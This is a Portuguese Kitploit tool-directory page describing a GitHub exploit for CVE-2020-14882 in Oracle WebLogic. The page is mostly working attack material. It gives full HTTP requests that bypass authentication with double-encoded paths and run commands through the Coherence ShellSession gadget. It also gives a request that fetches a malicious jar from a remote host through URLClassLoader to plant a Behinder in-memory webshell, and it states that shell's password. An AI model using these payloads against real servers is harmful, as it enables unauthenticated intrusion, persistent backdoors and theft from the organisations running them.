Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-14882 — Exploit para CVE-2020-14882 (WebLogic RCE não autenticado) com implantação de shell na memória via URLClassLoader e gadget ShellSession, permitindo execução remota de comandos e acesso persistente. | Kitploit
Ferramentas/GitHubGitHub/kk98kk0/cve-2020-14882
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubkk98kk0/cve-2020-14882

CVE-2020-14882

Exploit para CVE-2020-14882 (WebLogic RCE não autenticado) com implantação de shell na memória via URLClassLoader e gadget ShellSession, permitindo execução remota de comandos e acesso persistente.

Ver Repositório
321há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-14882 Implantando Shell de Memória 冰蝎

Como é sabido, CVE-2020-14882 é uma vulnerabilidade de não autorização, que permite a um atacante executar código arbitrário no WebLogic Server afetado. O POC divulgado publicamente na internet contorna a autenticação usando caracteres ilegais e depois executa comandos via gadget. No entanto, em cenários reais e em ataques de red team, apenas executar comandos não é suficiente; é crucial saber como aproveitar a vulnerabilidade de não autorização para implantar um shell de memória.

Há muitos artigos de análise de vulnerabilidade na internet, basicamente sobre o problema de codificação dupla. Vejamos diretamente o POC de código de execução disponível publicamente:

root@kitploit:~
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

Atualmente, apenas as versões do WebLogic 12.2.1 ou superiores suportam a saída de resposta, pois a classe não existe na versão 10.3.6 Pode-se ver que esta versão utiliza o gadget com.tangosol.coherence.mvel2.sh.ShellSession para executar código arbitrário. Assim, pode-se usar java.net.URLClassLoader para carregar classes maliciosas e injetar o shell de memória. URLClassLoader é uma classe de implementação de ClassLoader que pode carregar classes binárias tanto localmente quanto remotamente.

Weblogic Shell de Memória 冰蝎 image.png Empacotar para gerar o jar image.png Em seguida, use o gadget com.tangosol.coherence.mvel2.sh.ShellSession para chamar o URLClassLoader e carregar remotamente O código é o seguinte:

root@kitploit:~
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");

Exploit completo

root@kitploit:~
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0


image.png image.png A senha de conexão do 冰蝎 é: rebeyond

image.png

Nota: A versão padrão do 冰蝎 não suporta shell de memória

Links de referência:

https://xz.aliyun.com/t/8202

https://www.cnblogs.com/potatsoSec/p/13895120.html

Baixar ferramenta